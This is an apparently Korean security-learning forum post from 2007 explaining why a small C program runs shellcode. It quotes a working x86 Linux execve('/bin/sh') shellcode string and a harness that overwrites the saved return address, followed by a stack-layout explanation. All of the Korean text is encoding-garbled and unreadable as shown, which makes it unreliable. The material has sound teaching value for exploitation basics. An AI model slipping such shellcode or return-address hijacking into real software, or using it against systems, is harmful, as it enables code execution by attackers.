|
http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Board&no=9866 [º¹»ç]
===============================================================================
> char shellcode[] =
> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
> "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
> "\x80\xe8\xdc\xff\xff\xff/bin/sh";
>
>void main() {
> int *ret;
>
> ret = (int *)&ret + 2;
> (*ret) = (int)shellcode;
>
>}
>
> ÀÌ·¸°Ô c¾ð¾î¸¦ ¸¸µé¸é ÇÁ·Î±×·¥ÀÌ ½ÇÇàÀÌ µÇÀݾƿä.
> ¿Ö ½ÇÇàÀÌ µÇ´Â°Ç°¡¿ä. ±×³É Æ÷ÀÎÅÍ ¼±¾ð¸¸ ÇØ³õÀº°Å ¾Æ´Ñ°¡¿ä.
===============================================================================
°£´ÜÇÏ°Ô ¼³¸íµå¸®ÀÚ¸é..
ÇÁ·Î±×·¥ ³»¿¡¼ int Çü Æ÷ÀÎÅÍ º¯¼ö retÇϳª¸¸ ¼±¾ðÇϹǷÎ
ÀÌ º¯¼öÀÇ À§Ä¡´Â ½ºÅû󿡼 ebp ¹Ù·Î ¾Æ·¡¿¡ À§Ä¡ÇÕ´Ï´Ù.
(¹°·Ð ÄÄÆÄÀÏ·¯ ¹öÀü¿¡ µû¶ó ¾à°£ÀÇ Â÷À̰¡ »ý±æ¼öµµ...)
ret = (int *)&ret + 2;
±×¸®°í ÀÌ Äڵ尡 retÀ̶ó´Â Æ÷ÀÎÅͰ¡ °¡¸®Å°´Â ÁÖ¼Ò¸¦
ÀÚ±â ÀÚ½ÅÀÇ ÁÖ¼Ò +2·Î ¹Ù²Ù´Âµ¥, ¿©±â¼ +2´Â intÇüÀº 4¹ÙÀÌÆ®À̹ǷÎ
8¹ÙÀÌÆ® »óÀ§ ÁÖ¼Ò¸¦ °¡¸®Å°µµ·Ï ÇÕ´Ï´Ù
µû¶ó¼ retÀÇ 8¹ÙÀÌÆ® »óÀ§ÁÖ¼Ò´Â ebp+4, Áï ÇÁ·Î±×·¥ÀÇ ¸®ÅϾîµå·¹½ºÁÒ.
ÀÌ À§Ä¡¿¡ shellcodeÀÇ ÁÖ¼Ò¸¦ ÀúÀåÇÔÀ¸·Î½á
ÇÁ·Î±×·¥ÀÌ Á¾·áµÇ¸é¼ shellcode°¡ ½ÇÇàµÇ°Ô ÇÕ´Ï´Ù.
Á¤»óÀûÀÎ ½©ÄÚµå¶ó¸é ½©ÀÌ ½ÇÇàµÇ°ÚÁÒ. |
Hit : 11840 Date : 2007/12/12 03:16
|